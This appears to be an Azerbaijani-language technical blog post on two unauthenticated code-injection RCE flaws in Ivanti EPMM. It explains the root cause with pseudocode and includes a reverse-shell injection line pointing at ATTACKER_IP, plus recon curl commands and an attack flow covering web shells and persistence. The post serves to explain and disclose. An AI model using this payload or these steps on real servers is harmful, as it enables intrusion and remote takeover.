Ivanti Endpoint Manager Mobile (EPMM) üçün iki kritik code injection → Remote Code Execution (RCE) boşluğu aşkar olunub. Hər iki CVE unauthenticated işləyir və CVSS 9.8 səviyyəsindədir.
Root Cause
Problem EPMM-in bəzi server-side API modullarında input validation olmaması ilə bağlıdır.
Server HTTP request-dən gələn parametrləri birbaşa sistem əmrinə əlavə edib icra edir. Bu klassik CWE-94: Code Injection nümunəsidir.
Sadələşdirilmiş backend davranışı belə təsəvvür oluna bilər:
server_process(user_input) {
system("/usr/bin/do_something " + user_input);
}Burada user_input filtrsiz istifadə olunur. Əgər attacker belə input göndərsə:
arg1; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1server əvvəl normal əmri, sonra isə attacker-in shell komandası icra edir.
Attack Flow (texniki baxış)
Real exploit zamanı attacker:
- Public exposed EPMM servisini aşkar edir
- Zəif API endpoint-i müəyyən edir
- Parametrə shell payload yerləşdirir
- Server tərəfdə RCE əldə edir
Backend tərəfdə problem bu pattern-dən yaranır:
process_request(http_param) {
cmd = "/usr/bin/feature_handler " + http_param;
exec(cmd); // sanitization yoxdur
}Server daxil olan string-i data kimi yox, komanda kimi icra edir.
Recon mərhələsi
İlk addım exposed EPMM servisini tapmaqdır:
curl -k -I https://TARGET:PORT/Sonra API surface yoxlanılır:
curl -k https://TARGET:PORT/mifs/Burada məqsəd directory listing yox, reachable API paths və cavab davranışını müşahidə etməkdir.
Parametr injection testləri belə aparılır:
curl -k "https://TARGET/.../?param=test"Əgər server cavabı parametrə görə dəyişirsə, bu injection üçün giriş nöqtəsi ola bilər.
Exploit konsepti
Command injection zamanı attacker parametrə shell operatorları yerləşdirir:
; && | `Payload konsepti belə görünür:
param=value; <attacker command>Server bu string-i shell vasitəsilə icra etdiyindən attacker RCE əldə edir.
Real exploitlərdə adətən:
- reverse shell
- web shell drop
- persistence mexanizmləri
istifadə olunur.
Nəticə
Bu tip zəifliklər çox vaxt sadə input validation səhvlərindən yaranır:
- shell escaping yoxdur
- parametr whitelist edilmir
- user input birbaşa system() funksiyasına ötürülür
Bu isə enterprise səviyyəli sistemdə tam server kompromatına səbəb olur.
CVE-2026–1281 və CVE-2026–1340 göstərir ki, bəzən ən kritik RCE-lər belə elementar filtrasiya səhvlərindən yaranır.